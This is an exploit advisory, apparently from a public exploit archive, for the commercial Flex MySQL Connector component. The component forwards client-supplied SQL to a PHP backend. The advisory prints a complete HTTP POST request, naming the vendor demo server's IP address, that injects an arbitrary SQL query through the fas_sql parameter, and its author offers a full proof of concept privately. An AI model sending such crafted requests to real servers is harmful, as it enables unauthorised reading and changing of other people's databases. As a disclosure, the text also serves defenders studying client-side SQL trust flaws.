Text :  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
$$$ Flex MySQL Connector Remote SQL Execution Exploit $$$
$$$ $$$
$$$ || License: Commercial $$$
$$$ || Language: English $$$
$$$ Flex MySQL Connector || Cost: $45.00 $$$
$$$ || Platform: Flash Player 9 | Flash Player 10 $$$
$$$ || Demo: http://flexappsstore.com/flexapps/demo/mysql/ $$$
$$$ $$$
$$$ || Name: ~Fyodor (aka DungPQ) $$$
$$$ Credit || Email: quangdung181188[at]gmail.com $$$
$$$ || Location: Hanoi, Vietnam $$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$

[$] Vulnz Description :
Flex MySQL Connector is a Flex Component from FlexAppsStore, which allow
run SQL from ActionScript via PHP backend (Flash <=> PHP <=>
MySQL). But anybody can modify the SQL command in Request packet and send
to PHP backend, it means anybody can query SQL commands to victim's MySQL
server => OMG !

[$] Exploitz :
Send Example SQL command to MySQL at
http://flexappsstore.com/flexapps/demo/mysql/
---------------------------------------------------------------------------
--------
> Dest.IP = 66.147.242.177
> Dest.PORT = 80
---[Request BOF]---
POST /flexapps/flexmysqlconn.php?irand=0.2112374654971063 HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.10
Host: www.flexappsstore.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://flexappsstore.com/flexapps/demo/mysql/index.swf
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 89
Content-type: application/x-www-form-urlencoded

fas%5Fdb=flexapps%5Fdemxo&fas%5Fsql=SELECT%20count%28%2A%29%20as%20cnt1
%20FROM%20tbl%5Fbigbig
---[Request EOF]---

(Oh yeah, SQL command is
SELECT%20count%28%2A%29%20as%20cnt1%20FROM%20tbl%5Fbigbig => SELECT
count(*) as cnt1 FROM tbl_bigbig)

[$] PS: I don't give full PoC sourcecode. You can make your PoC by PHP
(using fsockopen(), cUrl, ...) but if you want, contact me. ^_^
[$] ~Fyodor - The Still Lake

  References :  

None